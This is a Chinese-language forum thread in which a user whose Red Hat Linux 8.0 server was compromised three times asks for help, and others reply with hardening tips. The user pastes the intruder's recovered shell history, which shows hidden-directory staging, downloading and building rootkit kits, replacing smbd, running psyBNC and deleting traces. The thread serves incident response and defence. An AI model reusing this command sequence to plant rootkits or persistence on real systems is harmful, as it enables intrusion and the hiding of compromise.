我的linux为什么这么不安全???
大家好,请各位linux的高手帮助我一下。我的linux网站2个月中3次被黑,希望大家帮我补洞。
我的linux配置 linux8.0
开的服务 22(ssh) 53 (dns) 80 (http) 443 (https)
3306 (mysql) 6000 (xwindows) 16888 (webmin)
就只有这些了。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(9)
换个 OpenBSD 吧!
呵呵,你的防火墙没配置好吧
估计是你没及时打补丁!
被黑后什么现象?针对问题考虑补救办法
文件被改,变成红色一闪一闪的,日志被删,只有内存里留下了一点命令的历史记录。
486 ifconfig
487 ping 196.165.163.89
488 cd /lib/.libgh-gh
489 ls
490 tar -xzf illusion.tar.gz
491 tar -xzf illusion*
492 ls
493 cd illusion*
494 ls
495 emacs Makefile
496 ps aux
497 ./illusion 217.133.154.218 off
498 ls
499 cd ..
500 ls
501 tar -xzf AjaKit*
502 wget ftp://wuarchive.wustl.edu/mirrors/gnu/gzip/gzip-1.2.4.tar
503 ls
504 tar -xzf gzip*
505 rm -rf gzip*
506 wget ftp://tron.um.u-tokyo.ac.jp/pub/GNU/prep/gzip/gzip-1.2.4.tar
507 rm -rf gzip*
508 wget ftp://ftp.ring.gr.jp/pub/GNU/gzip/gzip-1.2.4.tar
509 ls
510 tar -xf gzip*
511 cd gzip*
512 ls
513 ./configure
514 make
515 make install
516 cd ..
517 tar -xzf AjaKit*
518 ls
519 rm -rf AjaKit
520 tar -xzf AjaKit*
521 ls
522 gzip -V
523 tar -xzf AjaKit*
524 tar -xzf AjaKit.tar.gz
525 ls
526 rm -rf AjaKit
527 ls
528 rm -rf gzip*
529 ls
530 tar -xzf samba*
531 cd samba
532 cd samba*
533 ls
534 less README
535 cd source
536 ls
537 ./configure
538 make
539 ps aux |grep sshd
540 ps aux |grep smbd
541 make install
542 cd ..
543 cd ..
544 ls
545 ifconfig
546 ps aux |grep smbd
547 kill -9 685
548 ps aux |grep smbd
549 kill -9 8778
550 w
551 ps aux |grep smbd
552 smbd -D
553 ls
554 wget http://members.xoom.virgilio.it/sp2000/ORDEX/IRC/BNC/psyBNC2.3.1.tar.gz
555 tar -xzf psy*
556 cd psyb*
557 make menuconfig
558 make
559 ls
560 ps aux
561 ./psybnc
562 ls
563 vi psybnc.conf
564 ./psybnc
565 ps aux
566 exit
567 exit
568 cd /lib/.libgh-gh
569 ls
570 rm -rf *.tar.gz
571 ls
572 cd psy*
573 ls
574 mv salt.h salt.h.bak
575 cd ..
576 ls
577 rm -rf ill*
578 rm -rf sam*
579 ls
580 exit
在这之后他又从 ftp://games:1@61.133.87.162/下载了一个rootkit和smbar编译安装了。
建议
关掉xwindow webmin
开启最小服务
如果你用的是php + mysql +apache做网页
如果条件允许的话,可以把数据库服务器和apache服务器分开
在apache服务中通过php程序访问mysql服务器,并且只允许你的apache服务器访问
你的服务器如果是托管,建议不用开启DNS服务
还要重要的一点,不要用rh自带的apache和ssh
从网上下一些tar包自己编译
像apache服务器上只开ssh、net、apache端口
用iptables屏蔽其他所以的IP(除了公司或者客户)访问
机器在本地,我用的也是rd自带的软件,我处了上面提到的端口其他什么也没开,我想知道他是怎么得到我的root帐户的??我的机器还是一个dns的接点服务器,除了6000和16888 其他的都不能关的,而且我也没有其他的服务器来做mysql的服务,只能先放到一起。
你的root口令强吗,要用md5的方法。
山掉wget,把root改个名字。
把ssh打上补丁
请帖出你使用软件的版本号